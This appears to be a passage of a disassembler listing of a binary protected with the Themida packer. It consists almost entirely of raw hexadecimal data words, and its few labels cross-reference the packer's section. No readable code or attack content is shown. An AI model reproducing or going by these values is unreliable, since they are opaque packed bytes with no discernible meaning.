		dd 0C0440FFCh, 45EA43A9h, 0CC04DC0Ch, 839DCD7Bh, 0A020ECC5h
		dd 40EAC4Dh, 6E2F41ADh,	123C8392h, 20B146B9h, 88A1CC30h
		dd 0D450422Dh, 11807F30h, 88827E66h, 56B680E7h,	0AA22C280h
		dd 49D8C500h, 0EF7C9536h, 180A2C19h, 67DF44A4h,	0CA7E3310h
		dd 51184401h, 2E507403h, 0F02F7028h, 0E496Ch, 9D24B3E5h
		dd 9083E832h, 98EEA600h, 46D642A8h, 0DA3E007Ch,	282F6F70h
		dd 0CD1FB093h, 7F002151h, 7DF2C70Fh, 53221DB6h,	0F76BC0C8h
		dd 82931EBEh, 0FD97BC0Dh, 0C06E386Eh, 2D87BDB0h, 9DCFF10Eh
		dd 0ABEF68h, 1AA47C0h, 0B3B9016Eh, 0C22B2834h, 0B4FCE0CEh
		dd 3374AB00h, 9FFA1541h, 27B6072Dh, 5785B32Bh, 10B536A9h
		dd 55A12860h, 0C34790C9h, 4EA0EF30h, 3BAA3EE0h,	16206B67h
		dd 2C560281h, 0E3483180h, 0CAB7C3B2h, 0AD2A530Ch, 0C0240832h
		dd 0B2BAEB21h, 9A77C492h, 0D9EDC803h, 0AB10D6A8h, 0F7FCABBDh
		dd 802C85B2h, 0F259CF88h, 70F0C072h, 7B7DE8EFh,	0B58E3903h
		dd 0D2AD0ABh, 29AFFC98h, 5883F0C9h, 9C188263h, 0C9C90032h
		dd 6C64C2C7h, 190068B4h, 27EC67B1h, 0F9F1572Eh,	0B87A6182h
		dd 988C1303h, 3464F060h, 94403049h, 1F44DF69h, 19D8350Fh
		dd 14E7C0A3h, 0A0CC46AEh, 806FE08Ch, 0A46083B3h, 0F726EFA1h
		dd 75F31816h, 0CBB2482Dh, 3D515720h, 0CC8F843h,	0F055AB8Eh
		dd 786FF302h, 14497395h, 0AE9C410h, 8A0C1BF2h, 833ED2Ch
		dd 3131C0FFh, 227AE908h, 0B588C005h, 0F44614A3h, 0C1359Ch
		dd 18921306h, 0FC7AEFDh, 3DB48600h, 0C22ED42Fh,	0EFCA497h
		dd 11AB0A8Fh, 73140240h, 1374F2ACh, 69218363h, 0B60CF01Fh
		dd 2F590737h, 1344A853h, 79F8DBB1h, 0D01F3518h,	1B54AFFAh
		dd 0ABC300A8h, 0CD58B764h, 30E72AF2h, 1917FCD8h, 582EB9F3h
		dd 48BDD1D5h, 0AA08E544h, 0C41AAB0Ch, 1E6C4745h, 0FF57EAE0h
		dd 0B9EE03CFh, 80F319BEh, 5B49217Ch, 68FC003Ch,	0D34720B2h
		dd 4C710088h, 0BFAD419Eh, 4276891Ch, 0B8727006h, 7D98FC1Fh
		dd 0DBFA1EE6h, 9053D4B6h, 0E30ABB23h, 523992AAh, 6A3C404Ch
		dd 96001C7Eh, 49B1D7C8h, 3AFC21Dh, 930F43BDh, 71D82B6Ch
		dd 35381BDDh, 40C978h, 61E68DA3h, 1474B360h, 902CB9E4h
		dd 0E5F5AE00h, 0B8FC7AC2h, 3DFF2F04h, 0C9272B1h, 0E50DC0C0h
		dd 8B730294h, 46A8F3B5h, 996EFC81h, 8B4553Dh, 0E7C006D4h
		dd 46B7CFB2h, 5F22EAh, 0FFB2BEEFh, 0D6A7DC5Ah, 8B57AF00h
		dd 0F4D21FA1h, 85F01FCh, 61A22D0Ah, 0EDC883DCh,	0F8163995h
		dd 73BAE1Ch, 58EF7AA8h,	90A739F1h, 781E421Dh, 4F02E844h
		dd 0FCE46C84h, 0F4A4607Ah, 4308CC6Ah, 7C0B3531h, 83AE896Ch
		dd 124727C5h, 0D46BF82h, 0CA50CD9Ch, 3C6C7B30h,	22C6FCE7h
		dd 73340049h, 0E805036Ch, 0EC28F3B6h, 972A9429h, 4400DC3Dh
		dd 760E365Fh, 2F04D0h, 0B4F4B08Ah, 0BC9ABDA6h, 0E0C7CB01h
		dd 0E7BB1E3Ch, 2D229836h, 3098FB08h, 0C29C0997h, 0B5C96C20h
		dd 3D241469h, 0C740E8D7h, 4BCACC03h, 344CFCDBh,	0D43A186Dh
		dd 63A2223h, 3897CFE9h,	7CD7DC9h, 4F15D9F4h, 0AED0F0D4h
		dd 0B17A735Dh, 4A578500h, 131C30C3h, 9CFC2Ah, 6E70293Fh
		dd 72ABC91Dh, 0F804E090h, 5D15B26h, 0EF7498C0h,	0FF8A0123h
		dd 14A2D384h, 5490DA70h, 0B6FCB2E8h, 20223246h,	0B207BFFEh
		dd 49C8FB9Ah, 0A7199692h, 60B03984h, 1A25CF9h, 0A52A527Eh
		dd 4003E063h, 0A775A8F0h
		dd 6DC22F12h, 6FF69842h, 48C6C7Ch, 94E6E90Ch, 29633Bh
		dd 0E9042D21h, 90A75571h, 68EC1977h, 9C1D6B0Ah,	0F2839837h
		dd 0C06A8897h, 7CFAE981h, 8C8214FDh, 220AE493h,	26AE2407h
		dd 6AF30F94h, 0A280474Fh, 4076DDD8h, 0E4EC3092h, 7B3A0900h
		dd 0BAB0325Bh, 29E800B8h, 0C61EC148h, 2405DFBCh, 2155BF6Fh
		dd 0AD238C41h, 0FBEC88E8h, 0C7470062h, 0F273A1E2h, 600A7F0h
		dd 0D9F6D5AEh, 0C17AF3DAh, 0D807FA79h, 83918614h, 7A88D3Ch
		dd 9310CCBFh, 0CD0E4066h, 1E01C314h, 0FE0BB8C7h, 0C520BF29h
		dd 353206A3h, 51B7F3D9h, 48E5CCADh, 7B428087h, 831EE040h
		dd 8836614Ch, 6296BE0Ch, 0A8C1004Ch, 99D5DEE3h,	155C0002h
		dd 93B6EEC7h, 0C6004FB4h, 0BE8F9EA2h, 3C8FFE4h,	99BF3DB5h
		dd 1BA6F67h, 0D57C9582h, 47C050CDh, 0ED53463h, 5DE6B026h
		dd 40B63D0Eh, 0FA6C28D0h, 60B913EEh, 84182179h,	0C894E806h
		dd 9A030BDh, 598F6BAAh,	0E3704C87h, 0EC89AB2Bh,	6F88401Eh
		dd 0C0015C5Bh, 0C66EB102h, 0A8BC287Fh, 9CBE0180h, 44272B26h
		dd 0AC860A14h, 0C5EC81Ch, 0D9819EA6h, 13E58B09h, 0FBF08042h
		dd 303EE7E4h, 0FD2130AFh, 72EF2CA0h, 0DFB128Ch,	67AE1441h
		dd 30321384h, 793026F2h, 0CA8B00E4h, 0B522C329h, 950A2834h
		dd 8059C7F8h, 56EB20Fh,	0D842FDC8h, 462AB3B0h, 0F8646D8h
		dd 2808E90Eh, 5C0CC4EBh, 80E9068Fh, 0F54AD943h,	0E64B0152h
		dd 89C07C27h, 0A4609657h, 3BD4D405h, 8D587881h,	29259A01h
		dd 8004435Ch, 0CFE0F7BCh, 0E3D000F1h, 18F9167Ah, 0E1F8BF2Eh
		dd 38BBD700h, 6EBAD213h, 0F17A3C01h, 1A2E3B80h,	125EFEE4h
		dd 0D603FA01h, 0CA14D3BCh, 3CA061F6h, 1C486181h, 0F4C63665h
		dd 29004710h, 9C916C2Bh, 480B5E2h, 0B0ED6EB3h, 2FF8A00Dh
		dd 8815012Eh, 28200604h, 7E4CE400h, 0AF16931Ch,	0F458C7A4h
		dd 8292B4E8h, 0E8471C87h, 381420F1h, 9D465220h,	8C090C50h
		dd 0CEB2EA04h, 0F238E2B7h, 0BB2C103h, 0B8B79B36h, 0EAFC79B9h
		dd 0C818629Fh, 0B04061B6h, 20E8D21Bh, 0F8B1E306h, 6F82207h
		dd 90995679h, 17389083h, 4EE2822Fh, 0A56EAD3Dh,	68C0EDD8h
		dd 259D19h, 1D78AEA7h, 49EBC22Dh, 0F64AB490h, 2510902Eh
		dd 0E743C06Fh, 1DB64087h, 0DABFFA65h, 8840B037h, 465CA1DFh
		dd 1F362208h, 82BC4F3Ch, 7D7558EDh, 91AD2448h, 3A260100h
		dd 8BCB5D53h, 1CE80612h, 0E04E0DC8h, 909D2E24h,	0F501B08h
		dd 0C00132D5h, 0E020FB7Dh, 0E23F52D7h, 54688E09h, 0F105CC39h
		dd 0DCA51764h, 804083Ch, 0C1B2E9C0h, 2CDA4BB7h,	0E0B7F1ACh
		dd 1467F93h, 362D3CAEh,	8696AF4Ch, 755C2821h, 988F208h
		dd 0FA5FB47Ch, 0C006ECA4h, 0B10C84BCh, 0D5D22E28h, 0A0A997FAh
		dd 181060E8h, 6C86048Ch, 626AFCE6h, 80847146h, 6B085DBAh
		dd 19C14276h, 0BC1140B8h, 0B91AC0h, 6295FAE6h, 6F507AF1h
		dd 59D3D70Fh, 0DDA842BBh, 0C19C824Ch, 211C5014h, 0C78077E1h
		dd 0D2FCCB6Dh, 47448652h, 6C7F3B38h, 0AED49984h, 2C90C21Bh
		dd 6EE5E220h, 60135CFCh, 3C8C5CBCh, 0B480AE50h,	0FADF98EDh
		dd 164E63B7h, 12F31801h, 0A86346A5h, 553049B2h,	0F5800EFh
		dd 0B421ACC7h, 0F3377886h, 0B370802Bh, 0C24A6D1h, 44AFEB35h
		dd 22881A70h, 5AC62AEEh, 0DD5B05F0h, 98C12ED1h,	0AB390998h
		dd 12BA1010h, 688038C8h, 0D01BAAE2h, 0C8AB12B5h, 0FCCC103Eh
		dd 28C43E8h, 6FD9FA6Eh,	4458D0F3h, 48D43229h, 1184659h
		dd 0E4EF0F00h, 0D0F67217h, 5EB851h, 2E8C4514h, 0AB996E0Ah
		dd 0E6C044E1h, 0C466E044h, 0BCF10026h, 0A7F23D76h, 0F8019983h
		dd 7C48045Eh, 31805857h, 0BC17EC9h, 7803F366h, 0B5CA2B88h
		dd 7AADC059h, 0FF6700AFh, 0F29D2D0Dh, 4C9B7F6Fh, 0E5E90701h
		dd 0DC383394h, 0E9A830B3h, 0F6E0C81Bh, 507BB608h, 0B1190431h
		dd 9F24C181h, 0DAD8004Ch, 1CE432F3h, 0B8612420h, 7C7C3CFFh
		dd 27F929F0h, 298BA040h, 0D20D007Eh, 12CFE3F4h,	0F04C075Ch
		dd 262B3E86h, 7A60E0B2h, 0E31C8156h, 858A0610h,	214BFD27h
		dd 53DBB0B8h, 121E1F8h,	421B37CAh, 0F4DA502Ch, 8E03229Ch
		dd 4C2AF4CBh, 0BFA5F070h, 4D01FA95h, 0F449A04Dh, 0DC07DC8h
		dd 5C94E3E9h, 2EE02003h, 44E2E905h, 0A5F11300h,	45A63F4Eh
		dd 0B16A0293h, 26EADEB3h, 0C6BE2C97h, 63AF3700h, 0C8351206h
		dd 204DF8F0h, 0ADCE05F8h, 0D8040CF3h, 3E03308Bh, 41046DB2h
		dd 70AC64F0h, 28028C8Ch, 1E10AB3Dh, 0DFFDAE17h,	0C8B9C2CCh
		dd 5B40B795h, 0B4FC0614h, 0E2EC4750h, 0C0027743h, 5AFCE86Dh
		dd 3902C847h, 4C826C78h, 93121494h, 2EA584BAh, 6F011058h
		dd 19269EC0h, 114C61E0h, 8C26F8A8h, 3800F07Fh, 0FDB32891h
		dd 0D42EBD3Dh, 44106821h, 0B1050290h, 4053E7C3h, 18B9E508h
		dd 0D001CBA9h, 4B9F5EFh, 0CD182979h, 4FB9A512h,	932B3300h
		dd 19525395h, 5873FBB7h, 2E3CFC10h, 0ADD07A04h,	80E0C4D9h
		dd 9184132Ch, 23383A45h, 0FB7C0249h, 0E4C0A806h, 56F819A4h
		dd 55C09309h, 0C47C1432h, 0A1582918h, 72D81DA8h, 6EFFB1A8h
		dd 4504520Ch, 3D279702h, 4788ECCEh, 96F34DC0h, 0F4F93A4Fh
		dd 0C055B28Fh, 9C65B68Fh, 88188F32h, 2794C04Ah,	84030349h
		dd 766FDE3Eh, 0BD210041h, 0A96E194Bh, 740048EEh, 99323DEDh
		dd 515851E1h, 942034EBh, 0CE2489Fh, 96C6BB5h, 639736D6h
		dd 5D65E0D0h, 90F45C4Ch, 11703F24h, 0ABD40059h,	52B84F0Eh
		dd 997E1C12h, 0F22801Bh, 0B4858293h, 0B3060092h, 0B79BA46Eh
		dd 40954F11h, 0F115357Ch, 5F004037h, 9D85E036h,	586455D2h
		dd 0C0239807h, 8BAAE00Fh, 659409ABh, 1DBF3878h,	0F1EC1607h
		dd 582E2001h, 55305EA8h, 518AB15Dh, 0A2A600A7h,	1AE61445h
		dd 0AB03B098h, 0A0A31931h, 38F0E929h, 4BE22063h, 3A3F30h
		dd 810EFE08h, 0ADB1848Ch, 0D2FA8E04h, 609AB70Ah, 306F04C4h
		dd 97F89ABh, 55F7B3B5h,	0B40E9009h, 0E10031C8h,	26010EB6h
		dd 94B09972h, 0BE23A436h, 0DAAE601h, 8018E2ABh,	0FC1B6D88h
		dd 0C0570015h, 7AEACB0Dh, 170B5240h, 4270F130h,	8F9900ECh
		dd 2D6F421h, 0A55FA3Eh,	4440BB0Fh, 9730E285h, 5D4A513Bh
		dd 0DCFC00D1h, 4EBB6121h, 700EDADh, 51A9CE73h, 0B4C033AAh
		dd 0A5F341DCh, 92BCC435h, 2483D000h, 0C8C25D69h, 25B100A3h
		dd 1CD99442h, 0CC59E7C0h, 81F900A0h, 0F8353112h, 885F43C3h
		dd 0E911C179h, 33E3E507h, 9328090h, 0C074A5E9h,	0A0ED0490h
		dd 0B63D86E0h, 7677893Eh, 3D0C207Ch, 2B1D55Ch, 0ABA358DEh
		db 0E0h, 4Bh
word_507B52	dw 9852h		; DATA XREF: Themida_:0056198Do
		db 0A0h, 0E9h
word_507B56	dw 777Fh		; DATA XREF: Themida_:00561992o
		dd 1FBCE600h, 0ABF068CDh, 13074D4h, 0EB159E4Ah,	2CDA7B48h
		dd 0E88B96BCh, 27C04CC8h, 1A5A2A7h, 0B6792C1Eh,	689120A3h
		dd 52C85944h, 3002F238h, 1B0B82AEh, 0E0D7DBB1h,	10FC6C68h
		dd 4C6A8BAFh, 3052300h,	0B7C2B2E6h, 7788E95h, 20B2BDEEh
		dd 6CB1F10h, 9C2358DBh,	28C21F8h, 0C092F031h, 0F8832391h
		dd 21395754h, 0EE20800Bh, 1249FC0Ch, 0AE4006E0h, 0C03EC4DEh
		dd 11106321h, 0B2E58004h, 0BCBAB685h, 0BCED5834h, 0D496B207h
		dd 6654195Ch, 0D4F774A2h, 0F56C306Fh, 99190123h, 0A3B27310h
		dd 93EC64DBh, 0E8FDB024h, 196882BBh, 542CF9F3h,	6100F40Ch
		dd 53E8510h, 94B0756Bh,	957E4360h, 0B428D902h, 6169AE1Bh
		dd 7D102914h, 0C809FAFCh, 637C59BDh, 0F1FDE0ACh, 0D99260E6h
		dd 0D334B1D2h, 0F00B955Eh, 9C741058h, 4F49C03Fh, 25DEE2Bh
		dd 0D3AFE700h, 68DE07A2h, 0EDC2E642h, 48FB6C70h, 8705307Ah
		dd 0B120A1A8h, 0F2003278h, 0AFE33039h, 0D034FF0Bh, 0B21CA1B8h
		dd 682C7B75h, 38E8A490h, 7450988Ch, 0FFC5EB5h, 0A3420F88h
		dd 0DC85251Fh, 0B5D88875h, 3176B603h, 0D351A674h, 0A5BFE0A9h
		dd 0E64013Bh, 0BA0DB2C6h, 4B7C2504h, 0C021C840h, 0D0976C27h
		dd 2000FDE6h, 593FAF7Ch, 0B151EEF2h, 61ECD32Ch,	2AF0F823h
		dd 639439B5h, 1ED3A38Bh, 59473010h, 3C60B481h, 0F093814Eh
		dd 19C251FFh, 214A77CBh, 782B40D0h, 8C44EC58h, 0B4FB9F00h
		dd 0EB90A63Eh, 3C774974h, 0C9C51003h, 65EB6C62h, 0F0ED3E81h
		dd 97954A7Ch, 823B91DCh, 5C3254D5h, 801680F0h, 0F897B9EBh
		dd 12C03749h, 0CCB25B2h, 17C023C8h, 257C055h, 0FE5396D7h
		dd 28E725B4h, 0B9604844h, 8100ADC3h, 0ABA665A8h, 9E5871Dh
		dd 37F08BB6h, 0E5564424h, 3D94C838h, 1F7C601h, 9830861Ch
		dd 5E64CDCh, 0B03940C3h, 9EDC801Dh, 0CE067E79h,	2B7083B7h
		dd 0BA144C48h, 2C618B25h, 0BCB42C2Fh, 24008C4Ch, 0FFBD9DB6h
		dd 5597C3D3h, 0D7C08C71h, 76402E58h, 0CD9D0910h, 14003044h
		dd 9AA6668Ch, 10FC024h,	0F702C4C8h, 826CD93Dh, 0CD869341h
		dd 0C58849B5h, 7C8251FCh, 133C9850h, 2215FC68h,	0C0C4570Ch
		dd 619BB300h, 0BB0E65E5h, 0A81B000Dh, 578933DAh, 1800627Dh
		dd 0B5C8EB55h, 0BE860C54h, 20465E0Ch, 877B6802h, 10603443h
		dd 0C082947Ch, 996F9C14h, 0C9348268h, 0B0845ACBh, 7648DD99h
		dd 4011A074h, 28F0B88Bh, 3596E876h, 0E099AC3Eh,	3140674Ch
		dd 9600B82Eh, 26465CF4h, 0E193F200h, 88F6EB02h,	53C7D600h
		dd 77B3B5A1h, 24D8987Dh, 80003F75h, 33AE027Ah, 1A26E440h
		dd 0D0027EEh, 776DB871h, 0B12F1798h, 10C43A2Eh,	16C06EFFh
		dd 0AF9F7F1Bh, 0F03E6701h, 2EFAC3DCh, 5FBC4038h, 46032E8Ch
		dd 5CFC2060h, 0FF100886h, 93080912h, 18646Ch, 1C16F67Bh
		dd 22799144h, 0DAE55E00h, 0BFC78C2Ah, 750D0924h, 0C0602C8Dh
		dd 0F000FBA4h, 0A1B7A9C0h, 3D182B27h, 0C54BFAD2h, 0F200A2A0h
		dd 4EA33044h, 917A0503h, 0DAABB4DAh, 46C5E81h, 24FD27B9h
		dd 0DA03CE6h, 4801154Fh, 0FA324A9Bh, 0D8FEDFB7h, 44A317E4h
		dd 0DA94D31Eh, 57ADD100h, 0FB47C73Dh, 61A0A0FEh, 4C8212FCh
		dd 0EDEC50C0h, 83B38B02h, 548931B4h, 2D09C0D2h,	5288F8A9h
		dd 188B20CCh, 2D60608Dh, 5883BC4h, 9CD1A44Fh, 269C403Ah
		dd 664911EEh, 1BE43F00h, 91D25248h, 80EF00A2h, 0D07E6805h
		dd 0D0B6DCFAh, 0B5CE0260h, 0B7FC273Dh, 0F80D8048h, 0F9E7BC00h
		dd 58790FB4h, 2F6F209Ah, 1B7E1100h, 0FD3D05C0h,	80763E5h
		dd 0C794ACD1h, 0AFC380B9h, 98095322h, 472B5BDh,	0E65BFF4h
		dd 0AA4B0EF2h, 769300C5h, 6DDC0403h, 0B03EC166h, 0B570472Bh
		dd 195E47Bh, 0FE1B9FFAh, 6A4EB0B9h, 20482360h, 404B5BC9h
		dd 0FCF1BDF8h, 0B100ED72h, 0A3F21F99h, 2D33D02Eh, 0A0187ECEh
		dd 5926A893h, 0FF403851h, 16B6FEA5h, 413304F3h,	0BBA19354h
		dd 5C133A40h, 5C58548Ah, 2C8C01B8h, 6853FBh, 0D610F881h
		dd 0BC099FC2h, 0A0FA980Fh, 64C0FF20h, 75770067h, 0C7A436DCh
		dd 60FBEABh, 8B8907EFh,	8B3060BCh, 6FD624CBh, 1ABB0884h
		dd 4549A821h, 604D64CCh, 1400929h, 588D7E93h, 143883B6h
		dd 5BE1481h, 40B25503h,	0FC1DEC44h, 39C7CA0Fh, 2C75F3B5h
		dd 4CB22CA3h, 0E850FD30h, 0F2B2CBEh, 0ABBC4F0h,	0C140281Bh
		dd 21FCE56Dh, 509152C2h, 6C793200h, 54D1918Dh, 275C6901h
		dd 0D4C54E9Ch, 7FC4D7FDh, 288900Dh, 2417087Eh, 8C40E678h
		dd 18B43556h, 0CB634780h, 0FF60434Eh, 0BE072C6h, 0F2B34856h
		dd 2E45845h, 5C851E60h,	1CAC3D28h, 0BA08C505h, 90F72772h
		dd 24B83448h, 68A0018Ch, 1BA912F3h, 95FAE4DDh, 0D9691460h
		dd 1E38894h, 0E7DF31B8h, 0E05599EFh, 0B095EECh,	0EE4D8EBAh
		dd 708099FCh, 1866F26h,	7C946D36h, 24A346E3h, 878053A4h
		dd 2CD24C7Fh, 248C83BCh, 13323B5h, 5A1B518Eh, 73EC6098h
		dd 9848404Fh, 0E90AC07Ah, 0B4B94E4h, 2B072C8Bh,	40BAE902h
		dd 78530F73h, 6803995h,	3BBCE868h, 0E589048Ch, 0D1D89936h
		dd 0E1421724h, 24486CF6h, 82BC2040h, 9E58C437h,	0EB905CF5h
		dd 7040146Dh, 7A85972Ah, 2D493C2h, 49A86B08h, 0CC044454h
		dd 40C13D29h, 87CE3B64h, 0FD8C7A0h, 0CB038193h,	105F50DBh
		dd 0AE6A1C30h, 80A650B0h, 27170738h, 0D0A02F7Dh, 8A23ED07h
		dd 84AC6109h, 0E450E53Dh, 658B625Ch, 71F4295Ch,	0E7ED1948h
		dd 685EB042h, 933BEDB0h, 60EC7364h, 2CE8EE58h, 0BC016BBh
		dd 3458EBB7h, 14247C12h, 25B11CB3h, 1C00C6Fh, 295E5603h
		dd 24319C22h, 0EAE2E320h, 9033AD0Fh, 67B9C0E6h,	17982217h
		dd 80F4F3B7h, 0B29B19D8h, 0C6F41F51h, 3C5C74EAh, 0D5C465Eh
		dd 99F459C5h, 0BA7CBFF0h, 58A48010h, 9593253Eh,	9FF7ECE8h
		dd 9EE8CF01h, 16E6C2ADh, 0B49830h, 0E5840E3Fh, 0DF09A5BFh
		dd 1C81F0Bh, 0A2AC2153h, 30244427h, 66B31289h, 7DD42FF2h
		dd 0A97C008Ch, 37ACA71Fh, 2D5FBFF8h, 70DDB049h,	0DAF64AB0h
		dd 24F7C0E0h, 5A59BC74h, 0FA184395h, 4A131DF6h,	0B0A2168Bh
		dd 233049E2h, 40E10E87h, 0A8E1A994h, 70BCBEB8h,	6B613F7Ch
		dd 7977E5D4h, 5AC17180h, 0E74C9E51h, 9CED0F07h,	0C265B924h
		dd 4C05C813h, 0C425AF3Dh, 0B47ED480h, 0D2C22D41h, 328F0C35h
		dd 0F88204DBh, 0B9A3FCB4h, 0A15504D4h, 0AFFC41E4h, 463F12BFh
		dd 312A4C58h, 5780ED0Eh, 1CE153F8h, 0B46104E7h,	0D1459FC3h
		dd 745DC8F4h, 97B5D5B0h, 808211C4h, 0FB666D48h,	0DC6901B3h
		dd 839F2240h, 0DC452F01h, 94B92970h, 0FE9C980h,	0ED0087B6h
		dd 0B46EDF22h, 968AA8F3h, 5268880Ch, 742DB500h,	0B4DF6BB0h
		dd 0A8990788h, 7C46A09Bh, 819FFDA4h, 9A913B38h,	0C0088B21h
		dd 58AF0113h, 2E47AE2Ch, 0CA0021B3h, 106F5861h,	0B96DA30Ah
		dd 0E9512FCh, 90586Ch, 64A7E35Ch, 1245241Fh, 427B8D2Dh
		dd 0D28F874Ch, 0AF5840D3h, 39B70B75h, 0F41B86B1h, 0AA5B90A0h
		dd 0DC26FD09h, 72061BAh, 34B86839h, 0CE398B00h,	35649310h
		dd 13B4EC9h, 21FAD2A8h,	0F06E6A0Eh, 8EFC0300h, 0D01161A8h
		dd 85E3BC07h, 1029B16Bh, 28C099ECh, 0CC75B6h, 59B343A7h
		dd 0F4F0FDC6h, 5A1D4C94h, 75776EC0h, 402F1Ch, 7271ABB7h
		dd 9A3F5F3Ch, 0C260A870h, 8DDBB040h, 3358C0BAh,	7197AB7Eh
		dd 0B6086209h, 0E4406567h, 321F6047h, 0ABBB12A9h, 3C84209Ch
		dd 3A715717h, 0C7D39400h
dword_508358	dd 9197C6F4h, 0CE8D3BE3h, 0B40A4382h, 0A0DECA9Ch, 1D80467Ch
		dd 44C371A4h, 881ABE7Ch, 20E4164h, 8923A7D0h, 8C594997h
		dd 770A8F3Fh, 1FD82048h, 1FE3BD2h, 174A4609h, 2B97CD8Dh
		dd 4096704Eh, 7D2C8F16h, 0DD1E0F91h, 871EC53Eh,	0ECAD3FB2h
		dd 0F3301729h, 0FCF912Ch, 0D2AF2F93h, 52818035h, 45754E7Dh
		dd 31AAC48h, 7CCEA4B0h,	0C0FF6387h, 475E5F53h, 0FA017801h
		dd 0D4ABAE0Ah, 56F5434h, 0B0EB3658h, 2F30E065h,	0FF27BC00h
		dd 0A7AEB479h, 0D1324EA5h, 245BB7C8h, 0E2CD0F8h, 9C8154C3h
		dd 6BA907CBh, 520FECFh,	1845E370h, 63203CBBh, 4B2F7E46h
		dd 6C9EE8A0h, 0BB007653h, 6ABABD38h, 0BA47362h,	0AB3E925Bh
		dd 7E95C849h, 3A190C40h, 7501B97Ch, 39967DD6h, 0B082435Ch
		dd 3BFA4A9h, 47448CE7h,	3A54860h, 0F2C7700h, 75A089A3h
		dd 4267DC0h, 196EB114h,	2D9CFDF5h, 0D060903Eh, 5CA09814h
		dd 3803A8AFh, 31538803h, 4528B927h, 6EFFE2C4h, 4D75118h
		dd 0F3D938C7h, 6CACF00Ch, 9D0EBC04h, 0C085CCD3h, 133C4CE4h
		dd 62C2AFh, 0E57214D7h,	0F6009792h, 8868F5C8h, 12500511h
		dd 0E2D2BFEAh, 3046E218h, 8D03F1FBh, 1AE7FAD9h,	0A4C5F539h
		dd 4AE878BCh, 16441E8Ch, 5A1241DAh, 6A76786Eh, 0CC143C40h
		dd 0FD71F5Dh, 94670479h, 6DC758C1h, 7870F9CFh, 8C4ABC5Ch
		dd 8CC84900h, 0A2DD1CA9h, 0C0171941h, 0D0B2E12Ah, 9B26F89Ah
		dd 0AA041098h, 0C8FC736Eh, 28C4DBCh, 8BA27732h,	146125DCh
		dd 98091012h, 14E80F69h, 0E740218Dh, 0CA1EBE35h, 0D3CC400h
		dd 0C3B5BF2Bh, 18712EFFh, 2F5484D0h, 0C420070h,	623839E8h
		dd 822798A3h, 38A8847Ch, 7A76100h, 0CDB5CBB7h, 6C35001Bh
		dd 0ABB4FB6Eh, 28DE28D8h, 2037A904h, 0D2E824FDh, 69054100h
		dd 4FD786Ah, 0A3B517CAh, 0AB8C22FCh, 7B1AD10h, 0BFC53BB0h
		dd 8425699Ch, 120ED57h,	0EB60ED09h, 3A2A4497h, 4423D8h
		dd 0D5959793h, 0AD7837A8h, 7F896067h, 0FA3E288Ch, 3C049F01h
		dd 19C4C890h, 0C40098E2h, 0DAC729AEh, 0A102A9h,	0C0347DA8h
		dd 90608BB5h, 4676B0B4h, 7E90134Ch, 8456C600h, 0BA8FC3B3h
		dd 92ED17F0h, 6B8CF42Ch, 3089B5Dh, 0B13F8A13h, 0CCA15C9Fh
		dd 6F4326BCh, 0F68F043Fh, 0A1E07639h, 80466BABh, 8480DCB0h
		dd 6F41E2AAh, 23E82F2Bh, 0D43015Ch, 3B3FF895h, 3BAFE002h
		dd 8488600Bh, 2EF02075h, 2B8379Dh, 0BB8CD68h, 27A89F81h
		dd 6F502019h, 0F70DF376h, 51741545h, 9D46E3Fh, 90909CCAh
		dd 9897FD8h, 5946A9B6h,	45690056h, 605FE45Ch, 48F08914h
		dd 5B2CBC38h, 6A938074h, 71874DADh, 71704295h, 6F257050h
		dd 7E8F0086h, 36C9C141h, 72E2B7FCh, 18958CA0h, 0D9BD29C3h
		dd 983EBB94h, 634DEBh, 0C1A23321h, 65DAC811h, 2837B7h
		dd 0C7A299B5h, 0E401FAF5h, 3E73B43Fh, 7983E3ACh, 872BAED2h
		dd 4C58B6BCh, 8C83B828h, 6203200h, 3E9D5C27h, 8543040Fh
		dd 0E0948BB6h, 231211DCh, 48E0D3A1h, 0B73E15C0h, 82FC036h
		dd 5C42CC1Ah, 467660FEh, 0CC017F3Bh, 0E724BF2Ah, 0B443270Ah
		dd 189CD1E3h, 0EC6C0825h, 98C39BCh, 7516AFE8h, 0D59F7C54h
		dd 0E77FBF40h, 97D76BB1h, 0F1CA8880h, 9FEAA0CFh, 96572C0Ch
		dd 43173h, 99E70FCEh, 0FCDD915Ch, 6074072Dh, 17A25784h
		dd 64C3D987h, 0B214E230h, 40F23123h, 870EA6B9h,	96F4CF13h
		dd 0D2129420h, 4EEE019Ah, 21FDB67Ah, 0F475D4D1h, 6D3AB1E2h
		dd 415580D0h, 3154B498h, 16430FC7h, 5087071Eh, 5AA8F02Fh
		dd 952D5F0Fh, 628CCDD2h, 0A7406AC2h, 872F065Ah,	244064BCh
		dd 127CB3D0h, 677B03FDh, 9F9341EDh, 566284C0h, 144AAB13h
		dd 0A30074A2h, 0F649A254h, 7E0068AEh, 0EFA1035h, 4B5BC22Dh
		dd 0D084C157h, 2A00F660h, 805653C1h, 30FCC887h,	0DC2C5E82h
		dd 97A92313h, 0C9843490h, 3B780340h, 9FE67F49h,	0BCA4BCE4h
		dd 8F098C38h, 1DDC9237h, 804C11F4h, 14E1E6DBh, 4FD109DCh
		dd 286977BEh, 0DE0130B3h, 989A9200h, 44E9F571h,	0B7F303D2h
		dd 467F3402h, 0A93ECDC0h, 18028E7h, 0B3590A67h,	4EC1723h
		dd 5CB0B414h, 0AC042146h, 4279C4BEh, 0C9F8AE3Eh, 0A0C2905Ch
		dd 0D9D51AA0h, 63E300A8h, 2467360Fh, 0E00042B4h, 3493DE32h
		dd 30504010h, 67D13E75h, 7001F80h, 7130726Fh, 0F98DA4h
		dd 834263F5h, 13E9FAE6h, 317000B3h, 0B3090B56h,	0E0D195EDh
		dd 0E71849D1h, 94DD6D24h, 1B6BB585h, 217FCE0h, 6854E4AEh
		dd 0EC243B9Ch, 1160B80h, 268400BAh, 1A47EE2Bh, 0D5025EF1h
		dd 87EFD7C0h, 0DC987407h, 3679DE05h, 78BC20C9h,	60910E00h
		dd 2F9EF6FFh, 338AC80h,	1EB531EDh, 0E90476C5h, 11A2E7FAh
		dd 0AFAB2AC1h, 1847070h, 0BF7266EDh, 0D8612CBEh, 0AFF9F8FFh
		dd 0CE74ED49h, 46746A00h, 6E0F81EDh, 0AF2DA25Eh, 0A40B5327h
		dd 0C0C0DA78h, 85C146AEh, 2000EBD8h, 0C80884DFh, 0FB227Fh
		dd 46860ABCh, 4F5F4D2h,	980E472Ch, 1F106710h, 6DCDC078h
		dd 8CA2FCE9h, 7364344h,	3E0F6C85h, 0B45F23EDh, 0D5F457D9h
		dd 847D62Ch, 23604A64h,	8F00D70Eh, 0F07D4CB0h, 4AE3C6h
